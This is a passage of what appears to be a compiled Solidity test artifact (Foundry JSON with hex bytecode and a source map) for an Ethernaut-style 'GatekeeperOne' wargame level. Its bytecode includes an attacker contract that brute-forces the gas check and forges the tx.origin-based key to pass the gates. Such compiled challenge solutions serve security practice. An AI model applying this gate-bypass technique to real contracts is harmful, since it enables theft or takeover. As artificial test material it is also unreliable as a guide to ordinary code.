e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122087fedb774319f2f0795a56a7376ad1847bb0873ce9e0d1f8274160663b50518564736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;433:1641:132;420:32:154;259:12:155;433:1641:132;420:32:154;410:43;382:71;;433:1641:132;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b79565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001bbc565b620001b3620001fa36600462001ca8565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d7b565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e3e565b620001da6200025736600462001f0b565b62000ef8565b6200019a62001088565b6200027162001216565b604051620001c7919062001f23565b620001b36200029136600462001f89565b620012eb565b620002376200140a565b620002b8620002b236600462001fa7565b62001504565b6040519015158152602001620001c7565b6200027162001694565b6200019a62001769565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001802565b620001da620018d6565b6200019a6200032f36600462001f0b565b62001936565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762001fe3565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fe3565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620012eb565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b1e565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002084565b9050806001825162000982919062002214565b8151811062000995576200099562001fe3565b60200260200101515f0151600281518110620009b557620009b562001fe3565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab491908101906200222a565b90505f81848560405160200162000acd9291906200227c565b60408051601f198184030181529082905262000aed92916020016200232a565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b519085906004016200235c565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9591908101906200222a565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019aa90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002370565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002370565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001c0a565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb49190620023aa565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62001fe3565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040517f47e50cce0000000000000000000000000000000000000000000000000000000081526001600160a01b03909116600482018190526024820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906347e50cce906044015f604051808303815f87803b158015620010ff575f80fd5b505af115801562001112573d5f803e3d5ffd5b50506021546040515f93506001600160a01b039091169150620011359062001b2c565b6001600160a01b039091168152602001604051809103905ff0801580156200115f573d5f803e3d5ffd5b506023546040517fca669fa70000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063ca669fa7906024015f604051808303815f87803b158015620011d3575f80fd5b505af1158015620011e6573d5f803e3d5ffd5b50506020546021546200121393506200120d92506001600160a01b03918216911662001504565b62001a4c565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620012599062002370565b80601f0160208091040260200160405190810160405280929190818152602001828054620012879062002370565b8015620012d65780601f10620012ac57610100808354040283529160200191620012d6565b820191905f5260205f20905b815481529060010190602001808311620012b857829003601f168201915b50505050508152602001906001019062001239565b5f80604051620012fb9062001b3a565b604051809103905ff08015801562001315573d5f803e3d5ffd5b5090505f604051620013279062001b48565b604051809103905ff08015801562001341573d5f803e3d5ffd5b508483604051620013529062001b56565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200138c573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013eb575f80fd5b505af1158015620013fe573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014eb57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014975790505b505050505081525050815260200190600101906200142d565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001560575f80fd5b505af115801562001573573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015d1575f80fd5b505af1158015620015e4573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001648573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001671919081019062002084565b9050600181511115620016895760019150506200168e565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620016d79062002370565b80601f0160208091040260200160405190810160405280929190818152602001828054620017059062002370565b8015620017545780601f106200172a5761010080835404028352916020019162001754565b820191905f5260205f20905b8154815290600101906020018083116200173657829003601f168201915b505050505081526020019060010190620016b7565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017c0575f80fd5b505af1158015620017d3573d5f803e3d5ffd5b5050602054602154620018009350620017fa92506001600160a01b03918216911662001504565b62001acb565b565b6008545f9060ff16156200181a575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018a9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018cf9190620023c8565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f620019438243620023e0565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a019086908690600401620023f6565b5f60405180830381865afa15801562001a1c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a45919081019062002427565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001ab1575f80fd5b505afa15801562001ac4573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a9a565b6107c0806200245e83390190565b6102288062002c1e83390190565b610ae58062002e4683390190565b611e7a806200392b83390190565b610daa80620057a583390190565b6001600160a01b038116811462001213575f80fd5b5f805f6060848603121562001b8c575f80fd5b833562001b998162001b64565b9250602084013562001bab8162001b64565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bfe5783516001600160a01b03168352928401929184019160010162001bd7565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c445762001c4462001c0a565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c765762001c7662001c0a565b604052919050565b5f67ffffffffffffffff82111562001c9a5762001c9a62001c0a565b50601f01601f191660200190565b5f6020828403121562001cb9575f80fd5b813567ffffffffffffffff81111562001cd0575f80fd5b8201601f8101841362001ce1575f80fd5b803562001cf862001cf28262001c7e565b62001c4a565b81815285602083850101111562001d0d575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d4657818101518382015260200162001d2c565b50505f910152565b5f815180845262001d6781602086016020860162001d2a565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e2f57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e1857605f1988850301835262001e0584865162001d4e565b948d01949350918c019160010162001de6565b505050968901969350509087019060010162001da0565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001efd57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ee75783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001ea3565b5096890196945050509086019060010162001e65565b509098975050505050505050565b5f6020828403121562001f1c575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f7c57603f1988860301845262001f6985835162001d4e565b9450928501929085019060010162001f4a565b5092979650505050505050565b5f6020828403121562001f9a575f80fd5b813562001a458162001b64565b5f806040838503121562001fb9575f80fd5b823562001fc68162001b64565b9150602083013562001fd88162001b64565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002013576200201362001c0a565b5060051b60200190565b5f6200202d62001cf28462001c7e565b905082815283838301111562002041575f80fd5b62001a4583602083018462001d2a565b5f82601f83011262002061575f80fd5b62001a45838351602085016200201d565b80516200207f8162001b64565b919050565b5f602080838503121562002096575f80fd5b825167ffffffffffffffff80821115620020ae575f80fd5b818501915085601f830112620020c2575f80fd5b8151620020d362001cf28262001ff7565b81815260059190911b83018401908481019088831115620020f2575f80fd5b8585015b83811015620021f3578051858111156200210e575f80fd5b86016060818c03601f1901121562002124575f80fd5b6200212e62001c1e565b88820151878111156200213f575f80fd5b8201603f81018d1362002150575f80fd5b898101516200216362001cf28262001ff7565b81815260059190911b8201604001908b8101908f83111562002183575f80fd5b6040840193505b82841015620021a55783518252928c0192908c01906200218a565b8452505050604082015187811115620021bc575f80fd5b620021cc8d8b8386010162002051565b8a83015250620021df6060830162002072565b6040820152845250918601918601620020f6565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200168e576200168e62002200565b5f602082840312156200223b575f80fd5b815167ffffffffffffffff81111562002252575f80fd5b8201601f8101841362002263575f80fd5b62002274848251602084016200201d565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022b581600585016020880162001d2a565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022f481600a84016020880162001d2a565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200233d81846020880162001d2a565b8351908301906200235381836020880162001d2a565b01949350505050565b602081525f62001a45602083018462001d4e565b600181811c908216806200238557607f821691505b602082108103620023a457634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023bb575f80fd5b815162001a458162001b64565b5f60208284031215620023d9575f80fd5b5051919050565b808201808211156200168e576200168e62002200565b604081525f6200240a604083018562001d4e565b82810360208401526200241e818562001d4e565b95945050505050565b5f6020828403121562002438575f80fd5b815167ffffffffffffffff8111156200244f575f80fd5b62002274848285016200205156fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107468061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316639db31d776040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610357806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b5061033a8061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80633370204e146100385780639db31d7714610060575b5f80fd5b61004b610046366004610286565b6100a4565b60405190151581526020015b60405180910390f35b5f5461007f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610057565b5f3233036100b0575f80fd5b611fff5a6100be91906102cc565b156100c7575f80fd5b818060c01c61ffff168160c01c63ffffffff16146101525760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f2070617274206f6e65000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60c081901c63ffffffff8116036101d15760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f20706172742074776f00000000000000000000000000000000000000000000006064820152608401610149565b3261ffff168160c01c63ffffffff16146102535760405162461bcd60e51b815260206004820152602b60248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f20706172742074687265650000000000000000000000000000000000000000006064820152608401610149565b5f80547fffffffffffffffffffffffff000000000000000000000000000000000000000016321790556001915050919050565b5f60208284031215610296575f80fd5b81357fffffffffffffffff000000000000000000000000000000000000000000000000811681146102c5575f80fd5b9392505050565b5f826102ff577f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b50069056fea26469706673582212205420005dfc556417d569625d026a501d56b27af6c07caf3648e6877d9ba3995364736f6c63430008180033a2646970667358221220556ab9dd067bcc2c27b75c1efff3cc66e56fc9204b8ca7d14f8ff15a05b39b6364736f6c63430008180033608060405234801561000f575f80fd5b5060405161022838038061022883398101604081905261002e91610131565b5f61004261ffff3216640100000000610172565b60c01b90505f8160405160240161006991906001600160c01b031991909116815260200190565b60408051601f198184030181529190526020810180516001600160e01b03166319b8102760e11b17905290505f5b6078811015610128575f6001600160a01b0385166100b6836096610199565b6100c290615ffd610199565b846040516100d091906101b2565b5f604051808303815f8787f1925050503d805f811461010a576040519150601f19603f3d011682016040523d82523d5f602084013e61010f565b606091505b50509050801561011f5750610128565b50600101610097565b505050506101de565b5f60208284031215610141575f80fd5b81516001600160a01b0381168114610157575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b6001600160401b038181168382160190808211156101925761019261015e565b5092915050565b808201808211156101ac576101ac61015e565b92915050565b5f82515f5b818110156101d157602081860181015185830152016101b7565b505f920191825250919050565b603e806101ea5f395ff3fe60806040525f80fdfea26469706673582212207ad4c94c49031dad06ac481cd9ccb331b684d228e2de87d1c63e2eb4cc347e5164736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a